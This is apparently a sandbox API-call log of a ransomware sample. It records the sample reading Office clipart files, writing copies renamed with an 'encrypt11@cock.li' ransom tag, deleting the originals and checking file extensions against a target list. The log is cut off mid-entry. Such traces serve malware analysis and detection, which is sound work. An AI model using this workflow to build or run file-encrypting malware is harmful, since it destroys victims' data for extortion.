WriteFile (in: hFile=0x554, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0140.274] SetEndOfFile (hFile=0x554) returned 1 [0140.274] CloseHandle (hObject=0x554) returned 1 [0140.274] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0140.274] SetEndOfFile (hFile=0x544) returned 1 [0140.277] CloseHandle (hObject=0x544) returned 1 [0140.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0140.277] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 1 [0140.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0140.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0140.278] lstrlenW (lpString=".doc") returned 4 [0140.278] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0140.278] lstrlenW (lpString=".docx") returned 5 [0140.278] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0140.279] lstrlenW (lpString=".pdf") returned 4 [0140.279] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0140.279] lstrlenW (lpString=".xls") returned 4 [0140.279] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0140.279] lstrlenW (lpString=".xlsx") returned 5 [0140.279] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0140.279] lstrlenW (lpString=".ppt") returned 4 [0140.279] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0140.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0140.279] lstrlenW (lpString=".zip") returned 4 [0140.279] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0140.279] lstrlenW (lpString=".rar") returned 4 [0140.279] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0140.279] lstrlenW (lpString=".bz2") returned 4 [0140.279] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0140.279] lstrlenW (lpString=".7z") returned 3 [0140.279] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0140.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0140.279] lstrlenW (lpString=".dbf") returned 4 [0140.279] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0140.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0140.279] lstrlenW (lpString=".1cd") returned 4 [0140.279] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0140.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0140.279] lstrlenW (lpString=".jpg") returned 4 [0140.279] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0140.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0140.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0140.280] lstrlenW (lpString=".doc") returned 4 [0140.280] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0140.280] lstrlenW (lpString=".docx") returned 5 [0140.280] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0140.280] lstrlenW (lpString=".pdf") returned 4 [0140.280] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0140.280] lstrlenW (lpString=".xls") returned 4 [0140.280] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0140.280] lstrlenW (lpString=".xlsx") returned 5 [0140.280] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0140.280] lstrlenW (lpString=".ppt") returned 4 [0140.280] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0140.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0140.280] lstrlenW (lpString=".zip") returned 4 [0140.280] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0140.280] lstrlenW (lpString=".rar") returned 4 [0140.280] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0140.280] lstrlenW (lpString=".bz2") returned 4 [0140.280] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0140.280] lstrlenW (lpString=".7z") returned 3 [0140.280] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0140.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0140.280] lstrlenW (lpString=".dbf") returned 4 [0140.280] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0140.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0140.280] lstrlenW (lpString=".1cd") returned 4 [0140.280] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0140.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0140.281] lstrlenW (lpString=".jpg") returned 4 [0140.281] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0140.281] lstrcmpiW (lpString1=".BMP", lpString2=".btix") returned -1 [0140.281] lstrlenW (lpString="J0101857.BMP") returned 12 [0140.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0140.293] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=32184) returned 1 [0140.293] CloseHandle (hObject=0x4ac) returned 1 [0140.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 0x220 [0140.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0140.293] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0140.293] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0140.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0140.294] GetLastError () returned 0x0 [0140.294] ReadFile (in: hFile=0x4ac, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x7db8, lpOverlapped=0x0) returned 1 [0140.313] WriteFile (in: hFile=0x42c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0140.315] ReadFile (in: hFile=0x4ac, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0140.315] WriteFile (in: hFile=0x42c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0140.315] SetEndOfFile (hFile=0x42c) returned 1 [0140.315] CloseHandle (hObject=0x42c) returned 1 [0140.315] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0140.315] SetEndOfFile (hFile=0x4ac) returned 1 [0140.317] CloseHandle (hObject=0x4ac) returned 1 [0140.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0140.318] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 1 [0140.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0140.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0140.319] lstrlenW (lpString=".doc") returned 4 [0140.319] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0140.319] lstrlenW (lpString=".docx") returned 5 [0140.319] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0140.319] lstrlenW (lpString=".pdf") returned 4 [0140.319] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0140.319] lstrlenW (lpString=".xls") returned 4 [0140.319] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0140.319] lstrlenW (lpString=".xlsx") returned 5 [0140.319] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0140.319] lstrlenW (lpString=".ppt") returned 4 [0140.319] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0140.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0140.319] lstrlenW (lpString=".zip") returned 4 [0140.319] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0140.319] lstrlenW (lpString=".rar") returned 4 [0140.319] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0140.319] lstrlenW (lpString=".bz2") returned 4 [0140.319] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0140.319] lstrlenW (lpString=".7z") returned 3 [0140.319] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0140.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0140.319] lstrlenW (lpString=".dbf") returned 4 [0140.319] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0140.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0140.319] lstrlenW (lpString=".1cd") returned 4 [0140.319] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0140.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0140.320] lstrlenW (lpString=".jpg") returned 4 [0140.320] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0140.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0140.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0140.320] lstrlenW (lpString=".doc") returned 4 [0140.320] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0140.320] lstrlenW (lpString=".docx") returned 5 [0140.320] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0140.320] lstrlenW (lpString=".pdf") returned 4 [0140.320] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0140.320] lstrlenW (lpString=".xls") returned 4 [0140.320] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0140.320] lstrlenW (lpString=".xlsx") returned 5 [0140.320] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0140.320] lstrlenW (lpString=".ppt") returned 4 [0140.320] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0140.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0140.320] lstrlenW (lpString=".zip") returned 4 [0140.320] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0140.320] lstrlenW (lpString=".rar") returned 4 [0140.320] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0140.320] lstrlenW (lpString=".bz2") returned 4 [0140.320] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0140.320] lstrlenW (lpString=".7z") returned 3 [0140.320] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0140.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0140.321] lstrlenW (lpString=".dbf") returned 4 [0140.321] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0140.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0140.321] lstrlenW (lpString=".1cd") returned 4 [0140.321] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0140.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0140.321] lstrlenW (lpString=".jpg") returned 4 [0140.321] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0140.321] lstrcmpiW (lpString1=".BMP", lpString2=".btix") returned -1 [0140.321] lstrlenW (lpString="J0101860.BMP") returned 12 [0140.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0140.332] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=32184) returned 1 [0140.332] CloseHandle (hObject=0x544) returned 1 [0140.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 0x220 [0140.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0140.333] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0140.333] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0140.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0140.333] GetLastError () returned 0x0 [0140.333] ReadFile (in: hFile=0x544, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x7db8, lpOverlapped=0x0) returned 1 [0140.367] WriteFile (in: hFile=0x554, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0140.368] ReadFile (in: hFile=0x544, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0140.368] WriteFile (in: hFile=0x554, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0140.368] SetEndOfFile (hFile=0x554) returned 1 [0140.369] CloseHandle (hObject=0x554) returned 1 [0140.369] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0140.369] SetEndOfFile (hFile=0x544) returned 1 [0140.372] CloseHandle (hObject=0x544) returned 1 [0140.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0140.372] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 1 [0140.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0140.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0140.373] lstrlenW (lpString=".doc") returned 4 [0140.373] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0140.373] lstrlenW (lpString=".docx") returned 5 [0140.373] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0140.373] lstrlenW (lpString=".pdf") returned 4 [0140.373] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0140.373] lstrlenW (lpString=".xls") returned 4 [0140.373] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0140.373] lstrlenW (lpString=".xlsx") returned 5 [0140.373] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0140.373] lstrlenW (lpString=".ppt") returned 4 [0140.373] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0140.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0140.373] lstrlenW (lpString=".zip") returned 4 [0140.373] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0140.373] lstrlenW (lpString=".rar") returned 4 [0140.374] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0140.374] lstrlenW (lpString=".bz2") returned 4 [0140.374] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0140.374] lstrlenW (lpString=".7z") returned 3 [0140.374] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0140.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0140.374] lstrlenW (lpString=".dbf") returned 4 [0140.374] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0140.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0140.374] lstrlenW (lpString=".1cd") returned 4 [0140.374] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0140.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0140.374] lstrlenW (lpString=".jpg") returned 4 [0140.374] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0140.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0140.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0140.611] lstrlenW (lpString=".doc") returned 4 [0140.611] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0140.611] lstrlenW (lpString=".docx") returned 5 [0140.611] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0140.611] lstrlenW (lpString=".pdf") returned 4 [0140.612] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0140.612] lstrlenW (lpString=".xls") returned 4 [0140.612] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0140.612] lstrlenW (lpString=".xlsx") returned 5 [0140.612] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0140.612] lstrlenW (lpString=".ppt") returned 4 [0140.612] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0140.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0140.612] lstrlenW (lpString=".zip") returned 4 [0140.612] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0140.612] lstrlenW (lpString=".rar") returned 4 [0140.612] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0140.612] lstrlenW (lpString=".bz2") returned 4 [0140.612] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0140.612] lstrlenW (lpString=".7z") returned 3 [0140.612] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0140.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0140.612] lstrlenW (lpString=".dbf") returned 4 [0140.612] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0140.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0140.612] lstrlenW (lpString=".1cd") returned 4 [0140.612] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0140.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0140.612] lstrlenW (lpString=".jpg") returned 4 [0140.612] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0140.613] lstrcmpiW (lpString1=".BMP", lpString2=".btix") returned -1 [0140.613] lstrlenW (lpString="J0101865.BMP") returned 12 [0140.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0140.614] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=32184) returned 1 [0140.614] CloseHandle (hObject=0x550) returned 1 [0140.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 0x220 [0140.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0140.615] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0140.615] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0140.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0140.615] GetLastError () returned 0x0 [0140.615] ReadFile (in: hFile=0x550, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x7db8, lpOverlapped=0x0) returned 1 [0140.618] WriteFile (in: hFile=0x4c4, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0140.619] ReadFile (in: hFile=0x550, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0140.619] WriteFile (in: hFile=0x4c4, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0140.619] SetEndOfFile (hFile=0x4c4) returned 1 [0140.619] CloseHandle (hObject=0x4c4) returned 1 [0140.619] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: 